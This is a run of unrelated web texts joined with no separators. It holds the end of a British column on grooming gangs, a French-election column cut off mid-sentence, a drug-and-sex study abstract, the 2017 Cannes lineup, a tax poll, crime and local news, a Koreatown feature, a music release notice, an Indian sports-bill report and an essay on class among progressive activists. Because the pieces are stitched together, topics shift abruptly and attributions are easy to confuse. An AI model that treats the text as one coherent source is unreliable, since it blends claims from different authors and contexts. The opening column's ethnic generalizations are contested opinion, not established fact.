The question we have to ask ourselves is why their courage attracted so much condemnation. Their campaign was not targeted at any one nationality nor, for that matter, at a specific religious faith.
But it did face up to the bitter truth of the situation.
Yasmin Alibhai-Brown, a well-known journalist and author who is Muslim, has described this abuse as being 'an Islamic phenomenon'.
This is not because the whole of the Islamic faith is involved in a conspiracy to exploit young white women, but because a small but significant number of Muslim men, particularly those of Pakistani heritage, hold young white women from an underprivileged background in contempt.
This therefore confronts a crucial issue – the way faith, culture and misogyny come together in an unholy combination. The principal of the Muslim Education Centre of Oxford, Dr Taj Hargey, himself an imam, has been clear: the issue must be addressed and tackled directly by Britain's Muslim community. For it is an unacceptable blot on the good name of Islam and a slur on the many decent, loving, family-orientated men of a South Asian background.
What Ann Cryer highlighted, all those years ago, was the way in which vulnerable young women in her constituency were groomed and then exploited, in a perverted culture that believed they were second rate – and therefore less worthy of respect than women of the same ethnic background or faith as the men perpetrating the abuse. Sarah Champion was addressing the same facts. Whatever she now feels might have been a 'poor choice' in the language she used, her right to speak out has to be upheld.
Her decision to stand down from the Shadow Cabinet should be regretted by all of us who value open and honest debate.
Let me spell it out. Widespread paedophilia has become a serious problem in many British cities over recent years. At last it is being taken seriously, not only by the police but by wider society – helped in large part by outstanding TV dramas and documentaries such as Three Girls (about an Asian sex abuse ring preying on white teenagers in Rochdale).
These crimes are not predominantly rooted in the Islamic faith. They are specific to a cultural attitude towards women.
We have to oppose that attitude. Modern values must take precedence over misguided, outdated and grossly perverted historical culture.
The conflict between modernity and medievalism is something which needs to be addressed on a global scale – but in Britain we must tackle those incidents in our own communities head on. Ann Cryer first spoke out almost 15 years ago.
Today, the Sarah Champions of our world should be applauded, not silenced, when they seek to protect the most vulnerable people in our society from exploitation. All of us, of every faith and background, must be willing to stand alongside her.
Let's hope that events over the past few days will cause the Labour leadership to think again and return the party to its long-held values of open thinking and genuine debate.
If this doesn't happen, immense damage will be inflicted not just on Labour – but on democracy itself.I went to Lille in northern France a few days before the first round of the French presidential election to attend a rally held by the socialist candidate Francois Hollande. It was a depressing experience. Thunderous music pulsated through the ugly and poorly heated Zenith convention hall a few blocks from the city center. The rhetoric was as empty and cliché-driven as an American campaign event. Words like “destiny,” “progress” and “change” were thrown about by Hollande, who looks like an accountant and made oratorical flourishes and frenetic arm gestures that seemed calculated to evoke the last socialist French president, Francois Mitterrand. There was the singing of “La Marseillaise” when it was over. There was a lot of red, white and blue, the colors of the French flag. There was the final shout of “Vive la France!” I could, with a few alterations, have been at a football rally in Amarillo, Texas. I had hoped for a little more gravitas. But as the French cultural critic Guy Debord astutely grasped, politics, even allegedly radical politics, has become a hollow spectacle. Quel dommage.
The emptying of content in political discourse in an age as precarious and volatile as ours will have very dangerous consequences. The longer the political elite — whether in Washington or Paris, whether socialist or right-wing, whether Democrat or Republican — ignore the breakdown of globalization, refuse to respond rationally to the climate crisis and continue to serve the iron tyranny of global finance, the more it will shred the possibility of political consensus, erode the effectiveness of our political institutions and empower right-wing extremists. The discontent sweeping the planet is born out of the paralysis of traditional political institutions.
The signs of this mounting polarization were apparent in incomplete returns Sunday with the far-right National Front, led by Marine Le Pen, winning a staggering vote of roughly 20 percent. This will make the National Front the primary opposition party in France if Hollande wins, as expected, the presidency in the second round May 6. Jean-Luc Melenchon’s leftist coalition, the Front de Gauche, was pulling a disappointing 11 percent of the vote. But at least France has a Melenchon. He was the sole candidate to attack the racist and nationalist diatribes of Le Pen. Melenchon called for a rolling back of austerity measures, preached the politics “of love, of brotherhood, of poetry” and vowed to fight what he termed the “parasitical vermin” who run global markets. His campaign rallies ended with the singing of the leftist anthem “The Internationale.”
“Long live the Republic, long live the working class, long live France!” he shouted before a crowd of supporters Saturday night.
Every election cycle, our self-identified left dutifully lines up like sheep to vote for the corporate wolves who control the Democratic Party. It bleats the tired, false mantra about Ralph Nader being responsible for the 2000 election of George W. Bush and warns us that the corporate technocrat Mitt Romney is, in fact, an extremist.
The extremists, of course, are already in power. They have been in power for several years. They write our legislation. They pick the candidates and fund their campaigns. They dominate the courts. They effectively gut regulations and environmental controls. They suck down billions in government subsidies. They pay no taxes. They determine our energy policy. They loot the U.S. treasury. They rigidly control public debate and information. They wage useless and costly imperial wars for profit. They are behind the stripping away of our most cherished civil liberties. They are implementing government programs to gouge out any money left in the carcass of America. And they know that Romney or Barack Obama, along with the Democratic and the Republican parties, will not stop them.
The abrasive Nicolas Sarkozy is France’s oilier version of Bush. Sarkozy, along with German Chancellor Angela Merkel |
Alcohol and marijuana are two of the most prevalent psychoactive substances and each may result in distinct psychosocial and physical sexual experiences and different sexual risk behaviors. With marijuana becoming more accepted in the US along with more liberal state-level policies, it is important to examine and compare users' psychosocial and physical sexual experiences and sexual risk behavior associated with these drugs. In this study, we interviewed 24 adults who recently used marijuana before sex. Participants were 50 % female and all self-identified as heterosexual and HIV-negative. Using thematic analysis, we compared self-reported psychosocial and physical sexual experiences of alcohol and marijuana. Participants described differences between drugs with regard to psychosocial (e.g., partner interactions and contexts before sex, partner choice, perceived attractiveness of self and others, disinhibition, and feelings of regret after sex) and physical sexual experiences (e.g., sexual dysfunction, dose effects, sensations of body/sex organs, length and intensity of sex, and orgasm). Alcohol use was commonly associated with social outgoingness and use facilitated connections with potential sexual partners; however, alcohol was more likely than marijuana to lead to atypical partner choice or post-sex regret. Both alcohol and marijuana had a variety of negative sexual effects, and the illegality of marijuana reportedly facilitated intimate encounters. While sexual experiences tended to be similar across males and females, we did find some variation by gender. Results can inform prevention and harm reduction programming that will allow us to design more realistic programs and to craft interventions, which guide potential users to make safer choices.The 2017 Cannes Film Festival runs from May 17 to May 28.
Courtesy of the Cannes Film Festival
The Cannes Film Festival has announced its lineup for the 70th edition, following its tradition of unveiling every competition film (along with Un Certain Regard titles and other assorted offerings) in a morning press conference taking place at 5 a.m. EST.
“Since every day we have another move from Donald Trump, I hope North Korea and Syria won’t cast a shadow on the 70th edition,” said journalist Pierre Lescure before the announcement.
This year’s festival features 49 films from 29 countries, including nine feature debuts and 12 women directors.
Check out the full lineup below (refresh for latest updates):
Opening Night Film
“Ismael’s Ghost” directed by Arnaud Desplechin
Competition
“The Day After” directed by Hong Sangsoo
“Loveless” directed by Andrey Zvyagintsev
“Good Time” directed by Benny Safdie and Josh Safdie
“You Were Never Really Here” directed by Lynne Ramsay
“Jupiter’s Moon” directed by Kornél Mandruczo
“L’amant Double” directed by François Ozon
“The Killing of a Sacred Deer” directed by Yorgos Lanthimos
“A Gentle Creature” directed by Sergei Loznitsa
“Radiance” directed by Naomi Kawase
“Wonderstruck” directed by Todd Haynes
“Happy End” directed by Michael Haneke
“In the Fade” directed by Fatih Akin
“Rodin” directed by Jacques Doillon
“The Beguiled” directed by Sofia Coppola
“Redoubtable” directed by Michel Hazanavicius
“Okja” directed by Bong Joon-ho
“120 Battements Par Minute” directed by Robin Campillo
“The Meyerowitz Stories” directed by Noah Baumbach
Un Certain Regard
“April’s Daughter” directed by Michel Franco
“Lucky” directed by Sergio Castellitto
“Jeune Femme” directed by Léonor Serraille
“Western” directed by Valeska Grisebach
“Wind River” directed by Taylor Sheridan
“Directions” directed by Stephan Komandarev
“After the War” directed by Annarita Zambrano
“Dregs” directed by Mohammad Rasoulof
“Out” by György Kristóf
“The Nature of Time” directed by Karim Moussaoui
“Before We Vanish” directed by Kurosawa Kiyoshi
“L’atelier” by Laurent Cantet
“Beauty and the Dogs” by Kaouther Ben Hania
“Barbara” directed by Mathieu Amalric
“Closeness” directed by Kantemir Balagov
“The Desert Bride” directed by Cecilia Atan and Valeria Pivato
Out of Competition
“Blade of the Immortal” directed by by Takashi Miike
“How to Talk to Girls at Parties” directed by John Cameron Mitchell
“Visages, Villages” directed by Agnès Varda
Special Screenings
“12 Jours” directed by Raymond Depardon
“They” directed by Anahita Ghazvinizadeh
“An Inconvenient Sequel” directed by Bonni Cohen and Jon Shenk
“Top of the Lake: China Girl” directed by Jane Campion & Ariel Kleiman
“Promised Land” directed by Eugene Jarecki
“24 Frames” directed by Abbas Kiarostami
“Napalm” directed by Claude Lanzmann
“Come Swim” directed by Kristen Stewart
“Demons in Paradise” directed by Jude Ratman
“Sea Sorrow” directed by Vanessa Redgrave
“Clair’s Camera” directed by Hong Sangsoo
“Twin Peaks” directed by David Lynch
Midnight Screenings
“The Villainess” directed by Jung Byung Gil
“The Merciless” directed by Byun Sung-Hyun
“Prayer Before Dawn” directed by Jean Stephane Sauvaire
The Cannes Film Festival runs May 17-28.
Stay on top of the latest breaking film and TV news! Sign up for our Email Newsletters here.
Sign Up: Stay on top of the latest breaking film and TV news! Sign up for our Email Newsletters here.64% Say Americans Are Overtaxed, Political Class Disagrees
Roughly two-out-of-three voters think Americans are overtaxed, and nearly as many say any federal tax increase should be subject to a vote by the American people. Complicating things for would-be budget cutters, however, is the belief by even more that any changes in Social Security and Medicare also should be voted on by the public.
A new Rasmussen Reports national telephone survey finds that 64% of Likely U.S. Voters believe America is overtaxed. Twenty-four percent (24%) disagree, and 11% are undecided. (To see survey question wording, click here.)
(Want a free daily e-mail update? If it's in the news, it's in our polls). Rasmussen Reports updates are also available on Twitter or Facebook.
The survey of 1,000 Likely Voters was conducted on April 3-4, 2011 by Rasmussen Reports. The margin of sampling error is +/- 3 percentage points with a 95% level of confidence. Field work for all Rasmussen Reports surveys is conducted by Pulse Opinion Research, LLC. See methodology.
ORTHE INVESTIGATION into the murder of a Belarusian man who was killed over the weekend in Tralee is continuing.
Dmitry Hrynkevich died on Friday after being assaulted in the Killeen Wood area of Tralee.
He had been born in Minsk, Belarus, and spent most of his life growing up between Tralee and Killarney.
At 7 ft 6 in he had been the third tallest man in Ireland.
The 24-year-old was found unconscious in a garden in the town on Wednesday evening at around 10.35pm.
Two men, one in his 30s and the other in his 20s, were initially arrested in connection with suspected assault but later released.
The funeral will take place in the coming days and has been kept private at Hrynkevich’s own request.
Speaking to TheJournal.ie, local Fine Gael councillor Jim Finucane said, “I would have known him to see. He was a very tall young man.
Obviously any violent crime of that nature is a shock to any community. And obviously people are dismayed, and just hoping to find out what the details are and how it happened.
Gardaí are appealing for anyone who would have been in the vicinity of Killeen Wood at the time of the incident last Wednesday night to come forward.
Anyone with any information is asked to contact Tralee Garda Station at 066 710 2300 or on the Garda Confidential Line on 1800 666 111.A now-former Englewood police officer has been charged with abuse of public records and false reporting to authorities, 9Wants to Know has learned.
Both charges are misdemeanors.
Megan Feebeck, 26, was fired from the Englewood Police Department in July 2016.
According to court records, in January 2016, Feebeck “unlawfully and knowingly made a false entry in or falsely altered a public record.” The court records also indicate Feebeck “caused the transmission of a report to law enforcement authorities pretending to furnish information relating to an offense … when the defendant knew that she had no such information or knew the information was false.”
While this sounds confusing – the simple way to interpret the charges is that Feebeck is accused of lying, but none of the available records explain why or about what.
It’s not clear what happened in January that led to Feebeck’s actions because the attorneys for the Englewood Police Department refused to release records connected to the former officer’s employment, discipline and firing.
Sign up for the 9NEWSLETTER Thank You Something went wrong. This email will be delivered to your inbox once a day in the morning. Thank You for signing up for the 9NEWSLETTER Please try again later.
Submit
“Not only do other police departments across the state routinely release disciplinary records about officers, our Supreme Court instructed a sheriff's office (and others) to disclose as much information as possible concerning internal affairs investigations of peace officers,” said Steven Zansberg, an attorney who specializes in open records requests, and often represents media organizations, including 9NEWS.
Jeff Roberts, Executive Director of the Colorado Freedom of Information Coalition agreed.
“While police departments in Colorado have broad discretion to withhold criminal justice records, internal files concerning the on-duty conduct of officers have been disclosed,” he said in an email.
Englewood Police Chief John Collins declined to comment.
The 18th Judicial District Attorney’s Office that’s prosecuting Feebeck in the misdemeanor case issued a Rule 16 letter, better known as a “Brady letter.” The purpose of a Brady letter is to inform defense attorneys that the DA’s office has information about the officer’s credibility. It’s not unusual in a case where an officer’s truthfulness is in question. There are a number of officers across the state still working in law enforcement who’ve had Brady letters issued about them or who are on what is known as the
“Brady list.” However, 9Wants to Know was told there is no central repository of the officers whose reputation and credibility has been called into question, which could make them testifying in court problematic. It’s up to the defense attorneys to research the officers’ backgrounds and find out if their truthfulness has ever been called into question.
9Wants to Know learned prior to working for Englewood, Feebeck worked for the Jefferson County Sheriff’s Office for less than two years. She was a jail deputy from January 2013 until October 2014. The sheriff’s office often makes deputies pay back a portion of their training if they stay with the department less than two years.
If they leave within a year of graduating the academy, they’d have to pay back $12,000; if they don’t make it two years, they have to pay back $6,000. 9Wants to Know has learned Feebeck left two months before her two-year anniversary but she was not asked to pay back the $6,000.
Mark Techmeyer, a spokesman for the agency, told 9Wants to Know, the sheriff’s office hasn’t been consistent in requiring people to pay back the training money. But that’s changing in 2017.
9Wants To Know reached out to Feebeck’s attorney. Reid Elkus declined to comment.
The 18th Judicial District Attorney's Office said they could not comment on Feebeck's case because it was ongoing.
Copyright 2016 KUSAPlease enable Javascript to watch this video
Norfolk, Va. - A Norfolk family is reunited with their lost (and stolen) dog thanks to the honesty of another local family.
Dana and Mike Jancarole’s Husky dog Koda got loose on Halloween and escaped from their yard. The couple searched for days with no luck.
Little did they know, Koda had been picked up and sold on Craigslist by Jessica Colleran, who has since been arrested for selling stolen dogs.
Stacy and Mike McCrossan paid Colleran $400 for Koda, who they named Wyatt, not knowing he had been stolen.
Later, the McCrossan`s saw a picture of their new dog on the internet, realized it belonged to another family, and decided to give it back.
Dana says she knew right away it was their lost Koda.
“As soon as he came around that corner, she bolted towards him. I had to hold her back. As soon as he came up, I knew it was him,” Dana says.
NewsChannel 3 spoke with both families, who are starting to bond over their love for the same pet. Meanwhile, Koda also got to reunite with his other family, and their other dog, Tilly.
"It's bittersweet. Tilly hasn't gotten over it really…seeing her with him, she loves it. When he has to go...it's really hard,” says Stacy.
Dana says she’s now helping the McCrossan’s find a new dog.
“It gives you hope to know that there are still good people out there. That's why we're doing everything in our efforts to reward them what they've done for my family,” she says.
NewsChannel 3 decided to pitch in as well. We presented the McCrossan’s with our People Taking Action award for their honesty and also gifted them with a $300 gift card from our partners at Southern Bank.
Both families say they plan on keeping in touch so that Tilly and Koda can continue to have their playtime.
Please enable Javascript to watch this video128 Flares Twitter 4 Facebook 105 Google+ 2 Reddit 4 StumbleUpon 2 Pin It Share 11 LinkedIn 0 Email -- 128 Flares ×
Photos by PHILIP KIM
by BEATRICE S. PAEZ
It’s been about fifty years since Koreans first settled in Canada. Generations later, their descendants have carved a hot spot in a section of The Annex, a historic neighbourhood in downtown Toronto.
Korea Town is not your average ethnic neighbourhood. In Korea Town, you can sample as much of the culture as you’re willing to. It’s a place where you can pop into one of its ubiquitous hair salons for a cut that’s trending in South Korea. It’s also just a stone’s throw away from the iconic (and soon-to-be-shuttered) discount store Honest Ed’s, which casts an even wider net.
Korea Town is not Little India or Little Manila, which one must seek out in order to find. Its scale does not approximate the behemoth that is Chinatown on Spadina Avenue. But its home, which stretches along Bloor Street between Bathurst and Christie streets, is close enough to the University of Toronto that students and young professionals are among its regulars.
It’s no accident that Korea Town was established a short distance from U of T. The earliest settlers from Korea were theological students at the university, sponsored by Christian missionaries.
These students ended up staying and paved the way for others, as immigration policy opened up and Canada’s ties to Korea deepened. Diplomatic relations in the early ’60s centred on encouraging the immigration of educated workers. Now, about 37,225 Korean immigrants live in Toronto, according to Statistics Canada’s 2011 National Survey.
A growing number of Korean-run restaurants, hair salons, health food stores, specialty shops, trendy fashion boutiques and bookstores have changed the landscape of Korea Town.
Some old guards remain. Take the Korean Village restaurant. Its Greek columns betray a Hellenic past, but its incumbent proprietors, the Lee family, have transformed the structure into a Korean institution in its own right. Before its transformation into a Greek restaurant in the late 1960s, the space housed a beauty salon and a grocery store.
What accounts for the Village’s longevity? Sacrifice and long hours, according to Jason Lee, whose family owns the restaurant. The Village, one of only two Korean restaurants in the ’70s, has always remained open on holidays.
“I asked my mom every day, ‘Why aren’t you retiring? I can be here,’ ” said Lee, to a crowd gathered for a Korea Town Heritage Walk last spring, organized by Heritage Toronto and Korea Town BIA. “She said, ‘No, I want to be here.’ ” Lee, who is vice-chair of the Korea Town BIA (Business Improvement Area), added: “I realized, after many years of being here, it is their way of life. It is their identity… It’s what they built from the ground up.”
Korean Exchange Bank (KEB), which was established in 1983, is another pillar in the community. KEB helped many Korean immigrants to harness their entrepreneurial drive and re-energize the area, said Lee. Unable to access Canadian banks because of language and other barriers, they turned to the KEB to start up their businesses.
When it opened its doors in the 1970s, P.A.T. Central served the needs of Korean immigrants pining for a taste of the old country. Today, the supermarket—which also carries Japanese and other Asian goods—draws a diverse clientele who load up their carts with assorted varieties of tofu, wakame, kimchi, Pocky sticks, ginger crackers and red bean ice cream.
And, of course, a visit to Korea Town would not be complete without a pit stop at Hodo Kwaja, where walnut cakes baked on the spot never disappoint.
While there are generation gaps that separate experiences, Lee said the belief that hard work matters above all is a shared value among Korean immigrants and their families.
But adjusting to Canada wasn’t necessarily easy. The language barrier left many immigrants from his parents’ and grandparents’ generations feeling isolated from the rest of Canada. “They had their papers; they had Canadian citizenship,” said Lee, who was born in Korea and moved to Toronto as a baby. “But they would tell me, ‘I don’t feel Canadian.’ ”
Eventually thye overcame their fear of learning a new language with the help of an ESL program run by the YMCA and Palmerston Library, long a lifeline for many immigrants. Today, the library carries over 2,000 print, audio and video materials in Korean.
Improving their language skills eventually brought many Korean immigrants closer to feeling part of Canadian culture, to the point that they began to enjoy watching the local TV news, said Lee.
Lee recalled memories of his family asking him to translate words, but as a teenager, he wasn’t particularly helpful. “I’m just really thankful that these services were here, ” he said, “and that they helped them.”
Now he fondly remembers the first words his aunt spoke to him proudly in clear English, “I love you very much.”This just in – Ed Banger Records head honcho, Pedro Winter also known as Busy P, made a spectacular announcement yesterday via Instagram, publicizing upcoming single, Genie. Set to release on Ed Banger Records on February 24th, the new track will see Mr. Winter join forces with neo soul singer-songwriter-producer, Mayer Hawthorne.
Check out Busy P’s announcement below:
Valentine’s Day everyday? Happy to let you know we wrote a love song with @mayerhawthorne #BUSYP feat #MAYERHAWTHORNE “GENIE” out February 24th art by @so_me_ma_sen This is ED096 #edbanger #edbangerrecords A post shared by ED BANGER RECORDS / BUSY P (@edbanger) on Feb 15, 2017 at 5:51am PST
Update: Busy P’s Genie is out now. Stream it and download it here. Oh, and don’t forget to check out the music video.
Genie is Winter’s latest release since his Still Busy EP, which saw the musical maestro team up with the likes of Thunderbird Gerard and Andrew Woodhead. While we wait for the epic collaboration to hit our ears, let’s take a trip back in time with the label head’s 2014 hit.
Stream Still Busy and download it here.
BUSY P
Facebook
Soundcloud
Mayer Hawthorne
Facebook
SoundcloudSharad Pawar disagreed with the suggestion that people over the age of 70 should not be allowed to head national sports federations © AFP
The Indian cabinet of ministers has asked for changes to a bill aimed at regulating national sports federations, possibly including the BCCI. The bill was discussed at a cabinet meeting on Tuesday but failed to gain approval; it will now be re-worked and presented afresh.
The bill has become the subject of some controversy on several grounds, including its potential to regulate the BCCI - so far operating totally independent of the government. What has also stirred debate is the fact that several senior cabinet ministers are heads of national sports organisations, leading to a possible conflict of interest.
Four ministers present at Tuesday's meeting were heads of cricket federations: Sharad Pawar (former BCCI head and current president of the ICC), Farooq Abdullah (Jammu and Kashmir Cricket Association), Vilasrao Deshmukh (Mumbai Cricket Association) and CP Joshi (Rajasthan Cricket Association).
The Hindu newspaper reported that the meeting, presided over by prime minister Manmohan Singh, had heated exchanges and sharp divisions with the ministers objecting to approving the Bill at the nascent stage itself.
Singh, the paper reported, called it "good legislation" and was backed by the home minister P Chidambaram, who supported the move by the sports ministry to bring about accountability and transparency in sports administration. However, others present pointed out problems in the bill; the finance minister, Pranab Mukherjee, is reported to have said that Parliament would never approve this bill in the present form or scenario.
Among the provisions objected to in the National Sports (Development) Bill was the age bar, which sought to set a 70-year limit for heads of national federations. Pawar, a former BCCI president, is reported to have said that age should not be any factor in deciding who should head sports bodies, pointing out that the cabinet meeting itself included some members over the age of 70.
The bill had sought to bring in revolutionary changes in the functioning of sports bodies in the country, including the age limit and tenure restrictions besides bringing these bodies under the transparency-enabling Right to Information Act.
© ESPN Sports Media Ltd.How do you experience class differently because of your race, ethnic group, religion, gender, age, or other identity? What class dynamics do you notice within your identity groups?
(I'm not talking about someone like Bill O'Reilly or your right-wing uncle. More specifically, what's the most classist thing you ever heard a liberal or progressive person say?)
It's not "them" — it's us!
A few years ago, I listened to week-by-week reports from a radical working-class friend who tried to join a corporate globalization group. He told me of snide comments about his fast food; elaborate group process that took hours and hours; insistence that everyone "perform" by answering a certain question at the beginning of the meeting; uniformly scruffy clothes that made his pressed shirts stand out; potlucks that were all tofu and whole grains; long ideological debates over side issues; and an impenetrable fog of acronyms and jargon. He soon quit in disgust. I wonder if the group members understood why he left.
For professional-middle-class progressives activists like myself, it's easy to understand why working-class people would be alienated by the mainstream culture of well-off people. After all, we tend to be alienated by it ourselves, because it represents values we've rejected, like greed and materialism. But the idea that working-class people would have any negative reactions to our own subculture, in particular our values-based "alternative" norms, tends not to occur to us.
I had this insight after facilitating a Class Matters workshop recently, for a thoughtful, engaged group of college-educated people from middle-class backgrounds. When we talked about building bridges across class differences, they all had particular working-class people in mind, whom they worked with every day as parents of their students, members of their union, or clients and staff of their agency.
Earlier in the workshop, we had worked on some "what would you do?" scenarios based on real-life situations, including conflicts over cultural issues like smoking, health food and religion. In the next exercise, the group pretended to create the most unwelcoming of all possible organizations, easily generating a list of barriers that keep working-class people out, such as high dues, locations far from public transit, and no translation. In the same spoofing mode, I asked them, "But let's say that some working-class people did nevertheless manage to get into this organization. What would we do to make sure they felt uncomfortable and to stop them from taking leadership?" The group launched in with gusto: "A dress code — nothing but tuxedos and evening gowns!" "Fancy food — caviar and champagne!" "The real business takes place at the golf course at the country club!"
No-one said anything like "tofu."
A light bulb went off over my head. Middle-class activists imagine working-class people will have a negative reaction to the cultural style of the ostentatiously wealthy — not to our own cultural style. Yet in reality, what I hear from working-class and very low-income activists is very different: many aspects of middle-class culture are baffling, infuriating, intimidating or just plain weird. And while mainstream professional-middle-class (PMC) culture may be familiar from television and from teachers and social workers, PMC activist subcultures can be unfamiliar and thus even more alienating.
Doing community organizing jobs in which I worked with hundreds of grassroots working-class activists, I saw people meet their first vegetarian, their first Buddhist, their first woman with hairy legs, their first white dreadlocks-wearer, and so on, almost always a college-educated PMC activist. When encountered one at a time, these "oddballs" got teased, checked out for trustworthiness, and in most cases eventually accepted. But in environments where such unfamiliar weirdness was the norm, only the most highly motivated working-class people stuck it out; most acted on their "get me out of here!" reactions.
Working-class cultures are very diverse — by race, by generation, by geography, etc. — and what's alienating in one setting may be no problem in another. In my limited experience, middle-class activist traits tend to be more alienating to older, white, recent immigrant, rural, and/or Christian working-class people, and less alienating to young, urban and/or African American working-class people, who tend to be more cosmopolitan. The syndrome I'm describing may be most pronounced between young white counterculture activists and older white working-class people. But I think I can safely say that some aspect of PMC activist culture has seemed weird to some people in every working-class community I've encountered.
We PMC activists have a tremendous resistance to seeing our own subcultures through a class lens. When I said in that workshop that "tofu is a class issue," one participant said in a puzzled tone, "You mean because health food costs more?" Whether or not there's an obvious connection with money or status, if these cultural clashes happen across class lines, then class dynamics are at work. Of course there are also working-class vegetarians, Buddhists and so on, and when they get culture-shock reactions from other working-class people, it's not a class issue. But whenever there's a big difference in income, assets, education and/or status, then cultural differences become laden with class dynamics.
In professional-middle-class progressive culture, the axis of the world is mainstream versus alternative. The majority of us were raised in non-progressive families; the exceptions, such as "red diaper babies" and children of hippies, grew up aware of their families' outsider status. We grew up surrounded by expectations that we would maximize our income and status by conforming to PMC lifestyles and career tracks. At some point we made a conscious, life-changing decision to take a different course and to put some of our energy to work for a better world. We each place ourselves in a particular place on the mainstream/alternative continuum, contrasting ourselves with those more and less conventional than ourselves. One thing that virtually all of us PMC activists have in common is that we are proud of living a values-based life. It's our best trait — and leads to some of our most classist traits, such as culture-bound elitism. "More-alternative-than- thou" is not a helpful stance to take in building bridges with anyone, and it's especially unhelpful with people with a lot less social privilege than ourselves.
Our alternative values can confuse us about who's the enemy.
If our alternative values lead us to be vegetarian or vegan, we may see all meat-eaters, including working-class meat-eaters, as part of the mainstream we're rebelling against.
If our alternative values lead us to be nonviolent, then we may see all hunters and all football players as the enemy, whatever their class.
If our alternative values lead us to practice group processes that are as egalitarian as possible, such as consensus decision-making, then we may see a hierarchical union that uses Robert's Rules as no different than General Electric.
If our alternative values lead us to be pagans or atheists, we may equate all Christians with fascist theocrats.
And if we believe our values to be superior, we may take a superior attitude that working-class people will correctly read as classism.
White middle-class activists sometimes give people of color and extremely poor people a free pass from our harsh judgments. But no such forgiving brakes are on with "mainstream" white working-class and lower-middle-class people, who are too often thoughtlessly branded as the enemy. Building the mass movement of our dreams requires solidarity with all working people, not just those that we share all lifestyles and cultural values with.
It's very, very hard for progressive-middle-class activists to see our alternative subcultures as related to our privileged class status. The reason is that we PMC activists often feel like the underdogs in middle-class society. This is not a bad thing; it can help us identify with targeted groups — not just with working-class people, but with people of color if we're white; with women if we're men; with gay, lesbian, bisexual and transgender people if we're straight. Many a rainbow coalition to elect progressive candidates has been formed between people of color, poor people, and white middle-class radicals. But if this underdog feeling leads PMC progressives to think that we are similarly oppressed, we have fallen into a misunderstanding of the nature of systemic oppression.
No matter how unwelcoming your Christian family is towards your wiccan practices, that mistreatment is not actually equivalent to the racism faced by people of color, or the classism experienced by working-class people. The uptight bosses and relatives who make you wear a tie or pantyhose are not actually the equivalent of the employers who pay their employees minimum wage.
I'm thinking of the 1971 hit song "Signs" by the Five Man Electric Band: "And the sign said �Long-haired freaky people need not apply'." Since they could cut their hair and get the job, being a hippie in 1971 wasn't actually equivalent to being Irish in 1880. Neither does a voluntarily low income turn you into a working-class person if you grew up in a professional-middle-class household and went to college. Bohemian lifestyles and voluntary simplicity have a long, honored history in middle-class culture, and it's time we recognized our counterculture impulses as part of our professional-middle-class identity.
The cultural differences between PMC and working-class activists are not just neutral differences in taste or style, in which each party should give the other equal deference, but power differences between people with different amounts of education, social and cultural capital, and clout in the wider society.
Why does this matter? Because there are millions of working-class potential allies who find PMC-led organizations culturally difficult — and not just the bigger and more formal non-profit organizations, but also the small, all-volunteer groups full of college students or college-educated activists, such as feminist, globalization, anti-war, queer, animal rights and environmental groups.
Of course, working-class people can have negative reactions to mainstream professional-middle-class culture as well, not only to alternative PMC subcultures. Four-dollar coffee drinks, therapy, tennis skirts with little green whales on them, and the word "whom" are just as likely to get disgusted reactions as tofu is. And if you hear a parent negotiating with a child about when to leave the playground, look around for who's rolling their eyes, and listen for the class overtones in the comments, like "F**king yuppies!"
But alternative PMC activists can be especially attached to our distinctive subcultural traits because they're part and parcel of our activism. Ironically, PMC liberal reformists sometimes do better at recruiting working-class people; the more radical someone is, the more likely they may be to blow it as a cross-class bridge person.
Is the solution to be chameleons and blend in with working-class culture? Many PMC activists have chosen this route. Some of the 1970s Marxists who took working-class jobs seemed to fit in, especially those who grew up working-class before going to college, and those with a deep respect for their coworkers. More often, cross-class chameleons' unwitting parody seems condescending and stereotyped. The negative aspects of their own class conditioning, such as a sense of entitlement and self-importance, become an unacknowledged shadow-side that everyone around them can see. Especially embarrassing to me are middle-class white people who badly imitate the accents, music, clothes and hairstyles of low-income black youth. Showing that you're "down with the people" actually takes consistent hard work and commitment to their causes; there are no shortcuts via mimicking their style.
One of the first groundrules for successful cross-cultural bridging of any kind is authenticity; we need to be who we really are. Fakeness is usually detected, and it worsens the mistrust that's already there towards PMC people.
In my experience, I'm usually identified as PMC at 20 paces. One working-class woman said (once she finally started to trust me) that she had assumed I was a snob because my posture was so upright. In my neighborhood everyone can spot the class differences between women: the working-class women wear make-up and styled hair even when watering their gardens, and the professional women wear no make-up and loose hair even to work, and sometimes even at weddings. And at one meeting of a low-income grassroots group, I realized that I was the only person in the room with all my front teeth. We might as well accept that working-class people will know who we are; there's no hiding our privilege.
But how can we be ourselves and still build bridges with people who find our differences weird?
The first step is to distinguish between two different kinds of weirdness — essential and inessential. An essential weirdness is one that couldn't be eliminated without doing a deep injustice to someone:
Gay people may seem weird in some communities, but it's essential for organizations to support them being out of the closet.
Being inclusive of non-Christians is an essential weirdness. I have seen all-Christian groups of grassroots working-class people to whom it seems weird not to start every meeting with a prayer to Jesus and weird not to include Christianity in the group's mission statement and bylaws; yet to let that happen would be oppressive to religious minorities, such as a Jewish organizer or atheists in the neighborhood.
Speaking out against racism may be taboo in some white communities, but it's essential to go ahead and grate against those traditional cultural norms.
Besides those major societal oppressions, there are personal differences that may seem weird to others but are very important to the individual:
To a recovering alcoholic, not drinking is essential even if weird in certain circles.
Some people are deeply attached to a name change or a type of clothing or hair.
Unusual gender presentation can be essential to an individual's sanity, and can also move the society forward by shaking up our constraining gender roles.
There's a long and respected movement tradition of being the change you want to see, bearing witness to an issue with your own lifestyle choices.
But it's rarely essential to impose one's personal choices on others. And that's the line we cross too often, unnecessarily imposing a cultural weirdness on others. PMC activists, especially young radicals, make the mistake of imposing our own essential weirdnesses on mixed-culture groups:
It's one thing to eat vegan yourself, and another to plan all-vegan menu at a diverse coalition conference.
You might think that civil disobedience is an essential tactic for a certain campaign to succeed, but you don't have to schedule it at the same time and place as the legal rally.
Abstaining from smoking may be essential to you, but it's obnoxious if imposed on others, for example by choosing a location with no place to go for a cigarette break — especially if accompanied by judgmental statements (like "Cigarettes will kill you, you know!")
Just because your New Age spirituality is what keeps you sane doesn't mean that a coalition meeting would be improved by starting it with a ritual.
And some kinds of weirdness are just plain inessential.
